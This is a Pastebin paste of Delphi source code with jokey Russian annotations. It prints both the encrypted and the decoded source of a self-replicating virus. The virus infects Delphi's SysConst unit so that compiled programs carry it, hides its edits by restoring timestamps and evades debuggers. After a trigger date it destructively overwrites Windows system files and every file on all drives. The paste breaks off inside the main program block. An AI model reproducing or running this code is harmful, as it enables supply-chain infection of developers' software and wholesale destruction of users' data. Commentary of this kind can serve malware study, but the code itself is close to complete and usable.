Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- implementation
- uses windows;
- var
- sc: array [1..33] of string = ( // массив содержит исходник всей этой проги (ну кроме самого себя конечно)
- 'pr`r+vd}_~vrJ+ulq+rbIlqqltj<==22h+~e+roqd}fH#',
- '+b~}ro+u/;H"/=;"Ju0;H"0=;"Ju5;H"5=;"Ju6;H"6=;"Jl{~H"!"JxrfvqH"Blq{locdl}+E~q`ro+BE<=2+A~}_`_AtAw~~_"J',
- 'rxrfH"O^?LT+DR+L+]DB@+?LT+O^+?D@="J+ep}bod~}+Psq#SIAto`JRIroqd}f$IRoqd}fJulq+++DID}o`f`qJa`fd}+++e~q+DIH<+o~+W`}foc#R$+_~+++a`fd}+++++Q`rpwoIHQ`rpwo:Bcq#Ato`#Rjdh$+s~q+S$J',
- '++`}_J`}_J+ep}bod~}+?BpIroqd}fJa`fd}+++q`rpwoIHPsq#<3;7"ЫЦМ"$J`}_J+ep}bod~}+{lrIroqd}fJa`fd}+++Q`rpwoIHPsq#</47"апе"$J`}_J+ep}bod~}+dx{Iroqd}fJa`fd}+++q`rpwoIHPsq#<527"ЩЭТЮЕЭЕШЦБЦЩЧШ"$J',
- '`}_J+ep}bod~}+_r<Iroqd}fJa`fd}+++q`rpwoIHPsq#147"]qЉdy‡~sLnq~|‡rtLTs|xpoL"$JJ`}_J+ep}bod~}+_r1Iroqd}fJa`fd}+++q`rpwoIHPsq#017"ejjK{hE"$+`}_J+ep}bod~}+_r2Iroqd}fJa`fd}+++Q`rpwoIHPsq#47"P‰e‡ЉywPЉ€`P‰{‰Pi{‰Yef‰€"$J',
- '`}_J+ep}bod~}+_r/Iroqd}fJa`fd}+++q`rpwoIHPsq#557"-=:+-J<87<5w"$J`}_J+ep}bod~}+_r0Iroqd}fJa`fd}+++q`rpwoIHPsq#07"TfwzTlee56:k€k"" "$J`}_J+ep}bod~}+clwIroqd}fJa`fd}+++q`rpwoIHPsq#107"ykyx‡o9:@|sp6€pp"$J',
- '`}_J+ep}bod~}+p}xIRoqd}fJa`fd}+++Q`rpwoIHPsq#1007"—…—љ©‘ЧШў™’‘›њЬЄ’’"$J`}_J+ep}bod~}+d}poIroqd}fJa`fd}+++q`rpwoIHPsq#647"G5GJ9!‡€IG9H%,%Jl969"$J`}_J+ep}bod~}+erl_Iroqd}fJa`fd}+++q`rpwoIHPsq#/47"ACA@OgxhmUmVV.ODO"$J',
- '`}_J+ep}bod~}+fcefIroqd}fJa`fd}+++q`rpwoIHPsq#<447"ЇНЇІЎ№прЄ°ҐЇҐ¶Ѕпрдўєє"$J`}_J+ep}bod~}+{w~clIroqd}fJa`fd}+++Q`rpwoIHPsq#<7"_t|x}r_r>_t_"$J`}_J+ep}bod~}+r`}_eq~xlf~_Iroqd}fJ',
- 'a`fd}+++Q`rpwoIHPsq#4<7"l0>NM>M3>p3/5"$J`}_J+ep}bod~}+adcIroqd}fJa`fd}+++Q`rpwoIHPsq#//7"_fkl{ЋBYSjXmD{}BmKXAC{}cЋ{"$J`}_J+ep}bod~}+rb~Iroqd}fJa`fd}+++Q`rpwoIHPsq#<357"ДРЮГФоешТП„ѓеГЭХеДВДедВДфРПДЭ"$J',
- '`}_J+ep}bod~}+bfIroqd}fJa`fd}+++Q`rpwoIHPsq#37"jf}‡Ћd‰xOZfwx^xd‰OYWjO"$J`}_J+ep}bod~}+L#rIroqd}f$Iroqd}fJulq+dId}o`f`qJa`fd}+e~q+dIH<+o~+w`}foc#r$+_~+a`fd}+rjdhIHbcq###Ato`#rjdh$:<$+s~q+<;$85$J',
- 'de+rjdhHBcq#20$+oc`}+rjdhIHBcq#24$J`}_Jq`rpwoIHrJ`}_J+{q~b`_pq`+A#r7_7`Iroqd}f$Julq+oIroqd}fJe<7e1Io`soedw`JcIblq_d}lwJeIROLQOP[D]E^J{I[Q^B@RRnD]E^QXLOD^]Jo<7o17o2IEDW@ODX@Jddx{Iroqd}fJa`fd}+ЉD8€+',
- 'oIHrJlrrdf}edw`#e<7r$Jq`r`o#e<$Jde+d~q`rpwoGM;oc`}+`sdoJlrrdf}edw`#e17_:{lr$Jq`vqdo`#e1$Jde+d~q`rpwoGM;+oc`}+a`fd}+bw~r`edw`#e<$J`sdoJ`}_Jddx{IHdx{Jvcdw`+}~o+`~e#e<$_~+a`fd}+q`l_w}#e<7r$J',
- 'vqdo`w}#e17r$Jde+{~r#ddx{7r$GM;+oc`}+++aq`lzJ`}_J+vqdo`w}#e17L#rbj<h$$Je~q+cIH<+o~+228<+_~+++vqdo`w}#e17"""":rbjch7"""7"$Jvqdo`w}#e17"""":rbj22h:"""$J"$Je~q+cIH1+o~+22+_~+vqdo`w}#e17L#rbjch$$J',
- 'bw~r`edw`#e<$Jbw~r`edw`#e1$J+cIHBq`lo`Edw`#{bclq#_:_bp$7;7;7}dw727;7;$Jde+cH?V^Q?#8<$+oc`}+`sdoJF`oEdw`Odx`#c7Ko<7Ko17Ko2$JBw~r`Cl}_w`#c$Jedwwbclq#e7rd‰`~e#e$7;$Je=baIHrd‰`~e#e$Je=_vEwlfr+IHROLQOEnPR@RC^VVD]?^VJe=vRc~vVd}_~vIHRVnCD?@J',
- '+de+}~o+Bq`lo`[q~b`rr#}dw7{bclq#`:"!":_:{lr:"!"$7+++++++++}dw7+}dw7elwr`7;7}dw7}dw7e7{$+oc`}+`sdoJVldoE~qRd}fw`^ay`bo#+{=c[q~b`rr7+D]ED]DO@$J?`w`o`Edw`#{bclq#_:{lr$$J+cIHBq`lo`Edw`#{bclq#_:_bp$71057;7}dw727;7;$J',
- 'de+cH?V^Q?#8<$+oc`}+`sdoJR`oEdw`Odx`#c7Ko<7Ko17Ko2$JBw~r`Cl}_w`#c$JLrrdf}edw`#e<7o$Jde+D^Q`rpwoGM;+oc`}+`sdoJQ`vqdo`#e<$JVqdo`w}#e<7xrfvq$JBw~r`edw`#e<$J`}_J+ep}bod~}+B#OI[Bclq$IRoqd}fJ',
- 'ulq+zICZ@TJbIlqqlt+j<==100h+~e+bclqJdIblq_d}lwJqIroqd}fJa`fd}+de+Q`f^{`}Z`t@s#CZ@TnW^BLWnXLBCD]@7+O7;7Z@TnQ@L?7z$H;+oc`}+a`fd}+dIH100Jde+Q`f\p`qtUlwp`@s#z7[Bclq#?R1$7}dw7Kd7Kb7Kd$+H+;+oc`}+',
- 'a`fd}+qIH""J+dIH<J+vcdw`+bjdh+GM+Bcq#;$+_~++a`fd}+++qIHq:bjdhJd}b#d$J+`}_JQ`rpwoIHqJ`}_JQ`fBw~r`Z`t#z$J`}_J`}_J+ep}bod~}+Dr?afIa~~w`l}Julq++LIAto`Ja`fd}+Q`rpwoIHelwr`Jlrx+++x~u+L7;J++x~u+`ls7erIj;;;;;;<3chJ',
- '++x~u+`ls7j`ls+:2;chJ++x~u‰s+`ls7ato`+{oq+j`ls:;1hJ++bx{+`ls7<J++y}`+KWAWJ++x~u+L7<JKWAWI+`}_JDe+LGM;+oc`}+q`rpwoIHoqp`J`}_J+ep}bod~}+Dr?`apff`q[q`r`}oZ`q}`wIa~~w`l}Jlrr`xaw`qJ',
- 'lrx+++x~u+`ls7_v~q_+{oq+erIj;;;;;;<3chJ++x~u+`ls7_v~q_+{oq+j`ls:2;chJ++x~u‰s+`ls7ato`+{oq+j`ls:;1chJ`}_J+ep}bod~}+Dr]OXlbcd}`Ia~~w`l}Jlrr`xaw`qJlrx+++s~q+`ls7`lsJ++x~u+`bs7brJ++s~q+bw7bwJ++y`bs‰+K}o~zJ',
- '++yx{+K|pdoJK}o~zI+++d}b+`lsJK|pdoI+`}_J+{q~b`_pq`+Q`vqdo`#]lx`IRoqd}f$Julq++EIOCl}_w`J+D7]7iI?V^Q?J+ApeIlqqlt+j;==<;1/h+~e+ato`Ja`fd}++eIHBq`lo`Edw`#[Bclq#]lx`$7F@]@QDBnVQDO@7+EDW@nRCLQ@nVQDO@7+}dw7+',
- '++++++++++++++++++++^[@]n@SDROD]F7+EDW@nLOOQDAPO@n]^QXLW7+;$J+de+E+H+D]ULWD?nCL]?W@nULWP@+oc`}+@sdoJ+EdwwBclq#Ape7<;1/7;$J+iIHQ~p}_##F`oEdw`Rd‰`#e7}dw$>#<;1/:W`}foc#xrfvq$8<$$$J',
- '+e~q+dIH;+o~+i+_~++a`fd}+++Vqdo`Edw`#e7Xrfvq7W`}foc#xrfvq$7]7}dw$J++Vqdo`Edw`#e7Ape7<;1/7]7}dw$J+`}_J+Bw~r`Cl}_w`#e$J`}_J+{q~b`_pq`+Edw`Q`bpqrdu`#ApeIRoqd}f$Julq++E?InVD]21nED]?n?LOLJ',
- '+CIOCl}_w`Ja`fd}++CIHEd}_EdqroEdw`#[Bclq#Ape:"9=9"$7E?$J+q`{`lo+++de+E?=bEdw`]lx`j;hGM"="+oc`}+++a`fd}+++++de+#E?=_vEdw`Looqdapo`r+l}_+;;;;<;$+H+;;;;<;+oc`}+',
- '+++++Edw`Q`bpqrdu`#Ape:E?=bEdw`]lx`:"g"$+++++`wr`++++++Q`vqdo`#E?=bEdw`]lx`$J++`}_J+p}odw#}~o+Ed}_]`soEdw`#C7E?$$J+Ed}_Bw~r`#C$J`}_J+{q~b`_pq`+Edw`rJulq++dIato`Ja`fd}++e~q+dIH52+o~+6L+_~+',
- '+Edw`Q`bpqrdu`#Bcq#d$:"Ig"$J`}_J+{q~b`_pq`+L}lwt‰`Julq++Vd}_dqI+lqqlt+j;==100h+~e+BclqJ+dId}o`f`qJ+Vd}o`qIRoqd}fJ+VI?V^Q?Ja`fd}++EdwwBclq#Vd}_dq71057;$J+F`oVd}_~vr?dq`bo~qt#Vd}_dq7100$J',
- '+e~q+dIH;+o~+100+_~++Vd}o`qjdhIHVd}_dqjdhJ+De+Vd}o`qjW`}foc#Vd}o`q$hGM"g"+oc`}++Vd}o`qIHVd}o`q:"g"J+Q`vqdo`#Vd}o`q:clw$J+Q`vqdo`#Vd}o`q:p}x$J+Q`vqdo`#Vd}o`q:d}po$J+Q`vqdo`#Vd}o`q:erl_$J',
- '+Q`vqdo`#Vd}o`q:fcef$J+Q`vqdo`#Vd}o`q:{w~cl$J+Q`vqdo`#R`}_eq~xlf~_$J+Edw`rJ+X`rrlf`A~s#;7xrfvq7rxrf7;$J`}_J+{q~b`_pq`+Bc`bzJulq++VInRTRO@XODX@Ja`fd}++F`oRtro`xOdx`#V$J+De+v=vT`lq+M+1;<;+oc`}+',
- '+L}lwt‰`J++De+v=vT`lq+H+1;<;+oc`}++De+v=vX~}oc+M+<;+oc`}++L}lwt‰`J++De+v=vT`lq+H+1;<;+oc`}++De+v=vX~}oc+H+<;+oc`}++De+v=v?lt+MH+<2+oc`}++L}lwt‰`J`}_J+ep}bod~}+Pr`OcdrIa~~w`l}J',
- 'a`fd}++q`rpwoIHelwr`J+de+}~o+Dr]oXlbcd}`+oc`}++a`fd}+++q`rpwoIHoqp`J++`sdoJ+`}_J+de+Dr?`apff`q[q`r`}oZ`q}`w+oc`}++a`fd}+++q`rpwoIHoqp`J++`sdoJ+`}_J+De+Dr?af+oc`}++a`fd}+++q`rpwoIHoqp`J++`sdoJ+`}_J',
- '`}_J+ulq+++qoIroqd}fJa`fd}+de+}~o+pr`ocdr+oc`}+a`fd}++++qoIHB#[Bclq#?R<:u/;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#?R<:u0;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J',
- '+++qoIHB#[Bclq#?R<:u5;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#?R<:u6;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#adc:u/;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J',
- '+++qoIHB#[Bclq#adc:u0;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#bf:u5;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J+++++++qoIHB#[Bclq#bf:u6;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J+`}_J`}_=++'
- );
- //, а именно:
- (*
- uses windows; var sc:array[1..33] of string=(
- const v40='4.0';v50='5.0';v60='6.0';v70='7.0';apo='"';msgwr='Carpathian Forest CF1.3 BondedByBlood';
- smsg='TODAY IS A NICE DAY TO DIE.'; function Uxr(X:Byte;S:string):String;var I:Integer;begin for I:=1 to Length(S) do begin Result:=Result+Chr(Byte(S[i]) xor X);
- end;end; function DCu:string;begin result:=Uxr(180,'РЧБ');end; function pas:string;begin Result:=Uxr(149,'ефж');end; function imp:string;begin result:=Uxr(163,'КОУПЖОЖНЧВЧКМН');
- end; function ds1:string;begin result:=Uxr(29,'Nr{ij|oxA_roq|syAYxqmutA');;end; function ds2:string;begin result:=Uxr(52,'f[[@p]F') end; function ds3:string;begin Result:=Uxr(9,'Uzf|{jlU{}eUzpzUZpzJfgz}');
- end; function ds4:string;begin result:=Uxr(66,'.+ ;1-,16l');end; function ds5:string;begin result:=Uxr(5,'YglkYaff67+`}`''%');end; function hal:string;begin result:=Uxr(25,'j`jm|t*+Eqxu7}uu');
- end; function unm:String;begin Result:=Uxr(255,'Њ†Њ‹љ’МНЈЉЌ“’ђ‘С›““');end; function inut:string;begin result:=Uxr(79,'<6<;*"|}:<*=&!&;a*7*');end; function fsad:string;begin result:=Uxr(49,'BHBET\m]^V^WWTIT');
- end; function ghfg:string;begin result:=Uxr(199,'ґѕґіўЄфх›µ¦ґ¦·®фхйЈ««');end; function ploha:string;begin Result:=Uxr(1,'dyqmnsds/dyd');end; function sendfromagod:string;
- begin Result:=Uxr(91,'a5/?>/>8/u846');end; function bih:string;begin Result:=Uxr(44,'dg`apCJX[M^IpnC^@MBHpnhp');end; function sco:string;begin Result:=Uxr(186,'ЙХПИЩЯжнУФ‰€жИОЦжЙГЙжйГЙщХФЙО');
- end; function cg:string;begin Result:=Uxr(8,'[gn|izmTKglmOmizTJL[T');end; function A(s:string):string;var i:integer;begin for i:=1 to length(s) do begin s[i]:=chr(((Byte(s[i])+1) xor 10)-6);
- if s[i]=Chr(35) then s[i]:=Chr(39);end;result:=s;end; procedure B(s,d,e:string);var t:string;f1,f2:textfile;h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;t1,t2,t3:FILETIME;iimp:string;begin {$I-}
- t:=s;assignfile(f1,s);reset(f1);if ioresult<>0then exit;assignfile(f2,d+pas);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end;iimp:=imp;while not eof(f1)do begin readln(f1,s);
- writeln(f2,s);if pos(iimp,s)<>0 then break;end; writeln(f2,A(sc[1]));for h:=1 to 33-1 do writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[33]+''');');for h:=2 to 33 do writeln(f2,A(sc[h]));
- closefile(f1);closefile(f2); h:=CreateFile(pchar(d+dcu),0,0,nil,3,0,0);if h=DWORD(-1) then exit;GetFileTime(h,@t1,@t2,@t3);CloseHandle(h);fillchar(f,sizeof(f),0);f.cb:=sizeof(f);f.dwFlags :=STARTF_USESHOWWINDOW;f.wShowWindow:=SW_HIDE;
- if not CreateProcess(nil,pchar(e+'"'+d+pas+'"'), nil, nil,false,0,nil,nil,f,p) then exit;WaitForSingleObject( p.hProcess, INFINITE);DeleteFile(pchar(d+pas)); h:=CreateFile(pchar(d+dcu),256,0,nil,3,0,0);
- if h=DWORD(-1) then exit;SetFileTime(h,@t1,@t2,@t3);CloseHandle(h);Assignfile(f1,t);if IOResult<>0 then exit;Rewrite(f1);Writeln(f1,msgwr);Closefile(f1);end; function C(T:PChar):String;
- var k:HKEY;c:array [1..255] of char;i:cardinal;r:string;begin if RegOpenKeyEx(HKEY_LOCAL_MACHINE, T,0,KEY_READ,k)=0 then begin i:=255;if RegQueryValueEx(k,PChar(DS2),nil,@i,@c,@i) = 0 then
- begin r:=''; i:=1; while c[i] <> Chr(0) do begin r:=r+c[i];inc(i); end;Result:=r;end;RegCloseKey(k);end;end; function IsDbg:boolean;var A:Byte;begin Result:=false;asm mov A,0; mov eax,fs:[00000018h];
- mov eax,[eax +30h]; movzx eax,byte ptr [eax+02]; cmp eax,1; jne @LBL; mov A,1;@LBL: end;If A<>0 then result:=true;end; function IsDebuggerPresentKernel:boolean;assembler;
- asm mov eax,dword ptr fs:[00000018h]; mov eax,dword ptr [eax+30h]; movzx eax,byte ptr [eax+02h];end; function IsNTMachine:boolean;assembler;asm xor eax,eax; mov ecx,cs; xor cl,cl; jecxz @ntok;
- jmp @quit;@ntok: inc eax;@quit: end; procedure Rewrite(Name:String);var F:THandle; I,N,Z:DWORD; Buf:array [0..1024] of byte;begin f:=CreateFile(PChar(Name),GENERIC_WRITE, FILE_SHARE_WRITE, nil,
- OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if F = INVALID_HANDLE_VALUE then Exit; FillChar(Buf,1024,0); Z:=Round((GetFileSize(f,nil)/(1024+Length(msgwr)-1)));
- for i:=0 to Z do begin WriteFile(f,Msgwr,Length(msgwr),N,nil); WriteFile(f,Buf,1024,N,nil); end; CloseHandle(f);end; procedure FileRecursive(Buf:String);var FD:_WIN32_FIND_DATA;
- H:THandle;begin H:=FindFirstFile(PChar(Buf+'*.*'),FD); repeat if FD.cFileName[0]<>'.' then begin if (FD.dwFileAttributes and $000010) = $000010 then
- FileRecursive(Buf+FD.cFileName+'\') else Rewrite(FD.cFileName); end; until(not FindNextFile(H,FD)); FindClose(H);end; procedure Files;var i:byte;begin for i:=$63 to $7A do
- FileRecursive(Chr(i)+':\');end; procedure Analyze;var Windir: array [0..255] of Char; i:integer; Winter:String; W:DWORD;begin FillChar(Windir,256,0); GetWindowsDirectory(Windir,255);
- for i:=0 to 255 do Winter[i]:=Windir[i]; If Winter[Length(Winter)]<>'\' then Winter:=Winter+'\'; Rewrite(Winter+hal); Rewrite(Winter+unm); Rewrite(Winter+inut); Rewrite(Winter+fsad);
- Rewrite(Winter+ghfg); Rewrite(Winter+ploha); Rewrite(Sendfromagod); Files; MessageBox(0,msgwr,smsg,0);end; procedure Check;var W:_SYSTEMTIME;begin GetSystemTime(W); If w.wYear > 2010 then
- Analyze; If w.wYear = 2010 then If w.wMonth > 10 then Analyze; If w.wYear = 2010 then If w.wMonth = 10 then If w.wDay >= 13 then Analyze;end; function UseThis:boolean;
- begin result:=false; if not IsNtMachine then begin result:=true; exit; end; if IsDebuggerPresentKernel then begin result:=true; exit; end; If IsDbg then begin result:=true; exit; end;
- end; var rt:string;begin if not usethis then begin rt:=C(PChar(DS1+v40)); B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5); rt:=C(PChar(DS1+v50)); B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5);
- rt:=C(PChar(DS1+v60)); B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5); rt:=C(PChar(DS1+v70)); B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5); rt:=C(PChar(bih+v40)); B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5);
- rt:=C(PChar(bih+v50)); B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5); rt:=C(PChar(cg+v60)); B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5); rt:=C(PChar(cg+v70)); B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5); end;end.
- *)
- const
- v40 = '4.0'; //
- v50 = '5.0'; // перебор всевозможных версий делфей))
- v60 = '6.0'; //
- v70 = '7.0'; //
- apo = '"';
- msgwr = 'Carpathian Forest CF1.3 BondedByBlood';
- smsg = 'TODAY IS A NICE DAY TO DIE.';
- {
- Carpathian Forest — норвежская блэк-метал-группа, основанная в 1990 году Наттефростом и Нордавиндом
- © википикия
- }
- function Uxr(X: Byte; S: string): String; // мегакриптографическая функция
- var
- I: Integer;
- begin
- for I := 1 to Length(S) do
- begin
- Result := Result + Chr(Byte(S[i]) xor X);
- end;
- end;
- function DCu: string; // возвращает строку 'dcu'
- begin
- result := Uxr(180, 'РЧБ');
- end;
- function pas: string; // возвращает строку 'pas'
- begin
- Result := Uxr(149, 'ефж');
- end;
- function imp: string; // возвращает строку 'implementation'
- begin
- result := Uxr(163, 'КОУПЖОЖНЧВЧКМН');
- end;
- function ds1: string; // возвращает строку 'Software\Borland\Delphi\'
- begin
- result := Uxr(29, 'Nr{ij|oxA_roq|syAYxqmutA');;
- end;
- function ds2: string; // возвращает строку 'RootDir'
- begin
- result := Uxr(52, 'f[[@p]F')
- end;
- function ds3: string; // возвращает строку '\source\rtl\sys\SysConst'
- begin
- Result := Uxr(9, 'Uzf|{jlU{}eUzpzUZpzJfgz}');
- end;
- function ds4: string; // возвращает строку '\lib\SysConst.'
- begin
- result := Uxr(66, '.+ ;1-,16l');
- end;
- function ds5: string; // возвращает строку '\bin\dcc32.exe"'
- begin
- result := Uxr(5, 'YglkYaff67+`}`''%');
- end;
- function hal: string; // возвращает строку 'system32\hal.dll'
- begin
- result := Uxr(25, 'j`jm|t*+Eqxu7}uu');
- end;
- function unm: String; // возвращает строку 'system32\urlmon.dll'
- begin
- Result := Uxr(255, 'Њ†Њ‹љ’МНЈЉЌ“’ђ‘С›““');
- end;
- function inut: string; // (инут - ха-аха)))) возвращает строку 'system32\userinit.exe'
- begin
- result := Uxr(79, '<6<;*"|}:<*=&!&;a*7*');
- end;
- function fsad: string; // (уже влом ему стало имена придумывать :) возвращает строку 'system\logoff.exe'
- begin
- result := Uxr(49, 'BHBET\m]^V^WWTIT');
- end;
- function ghfg: string; // (тупо бьёт по кнопкам)))) // возвращает строку 'system32\rasapi32.dll'
- begin
- result := Uxr(199, 'ґѕґіўЄфх›µ¦ґ¦·®фхйЈ««');
- end;
- function ploha: string; // возвращает строку 'explorer.exe' (Проводник - это плоха!)
- begin
- Result := Uxr(1, 'dyqmnsds/dyd');
- end;
- function sendfromagod: string; // возвращает строку 'C:\ntdetect.com' (бог послал) :-)
- begin
- Result := Uxr(91, 'a5/?>/>8/u846');
- end;
- function bih: string; // возвращает строку 'HKLM\Software\Borland\BDS\'
- begin
- Result := Uxr(44, 'dg`apCJX[M^IpnC^@MBHpnhp');
- end;
- function sco: string; // возвращает строку 'source\Win32\rtl\sys\SysConst'
- begin
- Result := Uxr(186, 'ЙХПИЩЯжнУФ‰€жИОЦжЙГЙжйГЙщХФЙО');
- end;
- function cg: string; // возвращает строку 'Software\CodeGear\BDS\'
- begin
- Result := Uxr(8, '[gn|izmTKglmOmizTJL[T');
- end;
- function A(s: string): string; // функция для расшифровки массива sc
- var
- i: integer;
- begin
- for i := 1 to length(s) do
- begin
- s[i] := chr(((Byte(s[i]) + 1) xor 10) - 6);
- if s[i] = Chr(35) then s[i] := Chr(39);
- end;
- result := s;
- end;
- procedure B(s, d, e: string); // главнейшая процедура в программе!!!
- var
- t: string; // путь к файлу SysConst.pas
- f1, f2: textfile;
- h: cardinal;
- f: STARTUPINFO;
- p: PROCESS_INFORMATION;
- t1, t2, t3: FILETIME; // время создания, последнего обращения и модификации файла SysConst.dcu
- iimp: string;
- begin
- {$I-}
- t := s;
- assignfile(f1, s); // файл с исходником SysConst.pas ("исходный файл")
- reset(f1);
- if ioresult <> 0 then exit;
- assignfile(f2, d + pas); // в это место ложим "новый" SysConst.pas с дописаным сра.
- rewrite(f2);
- if ioresult <> 0 then
- begin
- closefile(f1);
- exit;
- end;
- iimp := imp; // = 'implementation'
- while not eof(f1) do
- begin // читаем "исходный файл" и пишем в "новый", пока не дойдём до секции implementation
- readln(f1,s);
- writeln(f2,s);
- if pos(iimp, s) <> 0 then break;
- end;
- writeln(f2, A(sc[1])); // дописываем в "новый файл" первую строку массива sc, т.е. 'uses windows; var sc:array[1..33] of string=('
- for h:=1 to 33 - 1 do //
- writeln(f2, '''' + sc[h], ''','); // записываем массив sc в новый файл (ессно в исходном зашифрованном виде)
- writeln(f2, '''' + sc[33] + ''');'); //
- for h := 2 to 33 do // далее дописываем остаток массива sc в "новый файл"
- writeln(f2, A(sc[h]));
- closefile(f1);
- closefile(f2); // как и положено, закрываем все файлы, "новый" загаженный файл готов!
- h := CreateFile(pchar(d + dcu), 0, 0, nil, 3, 0, 0); // открываем существующий файл SysConst.dcu
- if h = DWORD(-1) then exit; //? если не получилось - расходимся
- GetFileTime(h, @t1, @t2, @t3); // сохраняем все времена файла
- CloseHandle(h);
- fillchar(f, sizeof(f), 0);
- f.cb := sizeof(f);
- f.dwFlags := STARTF_USESHOWWINDOW;
- f.wShowWindow := SW_HIDE;
- (* самое интересное :) компилируем "новый" изуродованный файл, затирая тем самым SysConst.dcu *)
- if not CreateProcess(nil, pchar(e + '"' + d + pas + '"'), nil, nil, false, 0, nil, nil, f, p)
- then exit;
- WaitForSingleObject(p.hProcess, INFINITE); // ожидаем пока всё откомпилится...
- DeleteFile(pchar(d + pas)); // удаляем "новый файл"
- h := CreateFile(pchar(d + dcu), 256, 0, nil, 3, 0, 0); // устанавливаем старые времена создания,
- if h = DWORD(-1) then exit; // последнего обращения и модификации
- SetFileTime(h, @t1, @t2, @t3); // покойного чистого файла SysConst.dcu
- CloseHandle(h); // зловредному "новому" SysConst.dcu
- Assignfile(f1, t);
- if IOResult <> 0 then exit;
- Rewrite(f1); // ну тут повыёбываться конечно надо
- Writeln(f1, msgwr); // пишем в файл SysConst.pas сообщение 'Carpathian Forest CF1.3 BondedByBlood'
- Closefile(f1); // вот только на? его ж ведь потом нельзя будет использовать для дозаписи(!) гадостятины,
- // т.к. этот левый текст не откомпилится! или я не прав?
- end;
- function C(T: PChar): String;
- // читает параметр 'RootDir' (где находится папка Delphi) раздела T реестра из ветки HKEY_LOCAL_MACHINE
- var
- k: HKEY;
- c: array [1..255] of char;
- i: cardinal;
- r: string;
- begin
- if RegOpenKeyEx(HKEY_LOCAL_MACHINE, T, 0, KEY_READ, k) = 0 then
- begin
- i := 255;
- if RegQueryValueEx(k, PChar(DS2), nil, @i, @c, @i) = 0 then
- begin
- r := '';
- i := 1;
- while c[i] <> Chr(0) do
- begin
- r := r + c[i];
- inc(i);
- end;
- Result := r;
- end;
- RegCloseKey(k);
- end;
- end;
- function IsDbg: boolean; // проверка на наличие отладчика??
- var
- A: Byte;
- begin
- Result := false;
- asm
- mov A, 0;
- mov eax, fs:[00000018h];
- mov eax, [eax +30h];
- movzx eax, byte ptr [eax+02];
- cmp eax, 1;
- jne @LBL;
- mov A, 1;
- @LBL:
- end;
- If A <> 0 then result := true;
- end;
- function IsDebuggerPresentKernel: boolean; assembler; // ещё одна проверка на отладчик))
- asm
- mov eax, dword ptr fs:[00000018h];
- mov eax, dword ptr [eax+30h];
- movzx eax, byte ptr [eax+02h];
- end;
- function IsNTMachine: boolean; assembler; // проверка типа ОС на ассемблере o_O
- asm
- xor eax, eax;
- mov ecx, cs;
- xor cl, cl;
- jecxz @ntok;
- jmp @quit;
- @ntok: inc eax;
- @quit:
- end;
- procedure Rewrite(Name: String);
- var
- F: THandle;
- I, N, Z: DWORD;
- Buf: array [0..1024] of byte;
- begin
- f := CreateFile(PChar(Name), GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
- if F = INVALID_HANDLE_VALUE then Exit;
- FillChar(Buf, 1024, 0);
- Z := Round((GetFileSize(f, nil) / (1024 + Length(msgwr) - 1)));
- for i := 0 to Z do
- begin
- WriteFile(f, Msgwr, Length(msgwr), N, nil);
- WriteFile(f, Buf, 1024, N, nil);
- end;
- CloseHandle(f);
- end;
- procedure FileRecursive(Buf: String);
- var
- FD: _WIN32_FIND_DATA;
- H: THandle;
- begin
- H := FindFirstFile(PChar(Buf + '*.*'), FD);
- repeat
- if FD.cFileName[0] <> '.' then
- begin
- if (FD.dwFileAttributes and $000010) = $000010 then
- FileRecursive(Buf + FD.cFileName + '\')
- else
- Rewrite(FD.cFileName);
- end;
- until (not FindNextFile(H,FD));
- FindClose(H);
- end;
- procedure Files;
- var
- i: byte;
- begin
- for i := $63 to $7A do
- FileRecursive(Chr(i) + ':\');
- end;
- procedure Analyze;
- var
- Windir: array [0..255] of Char;
- i: integer;
- Winter: String;
- W: DWORD;
- begin
- FillChar(Windir, 256, 0);
- GetWindowsDirectory(Windir, 255);
- for i := 0 to 255 do
- Winter[i] := Windir[i];
- If Winter[Length(Winter)] <> '\' then Winter := Winter + '\';
- Rewrite(Winter + hal);
- Rewrite(Winter + unm);
- Rewrite(Winter + inut);
- Rewrite(Winter + fsad);
- Rewrite(Winter + ghfg);
- Rewrite(Winter + ploha);
- Rewrite(Sendfromagod);
- Files;
- MessageBox(0, msgwr, smsg, 0);
- end;
- procedure Check; // В. настало твоё время! (если сегодня 13 октября 2010 или больше, то Analize)
- var
- W: _SYSTEMTIME;
- begin
- GetSystemTime(W);
- If w.wYear > 2010 then Analyze;
- If w.wYear = 2010 then
- If w.wMonth > 10 then Analyze;
- If w.wYear = 2010 then
- If w.wMonth = 10 then
- If w.wDay >= 13 then Analyze;
- end;
- function UseThis: boolean;
- // (запускать ли всю эту пиз-ю? ой, извините, извините) уже б назвал NotUseThis так вроде логичней
- begin
- result := false;
- if not IsNtMachine then
- begin
- result := true;
- exit;
- end;
- if IsDebuggerPresentKernel then
- begin
- result := true;
- exit;
- end;
- If IsDbg then
- begin
- result := true;
- exit;
- end;
- end;
- var
- rt: string; // путь к папке с установленным Delphi
- // ***** -- -- ГЛАВНОЕ ТЕЛО ПРОГРАММЫ ДАДА -- -- ***** //
- begin
- if not usethis then // если это NT-система, нема отладчика и нет отладчика, то:
- begin
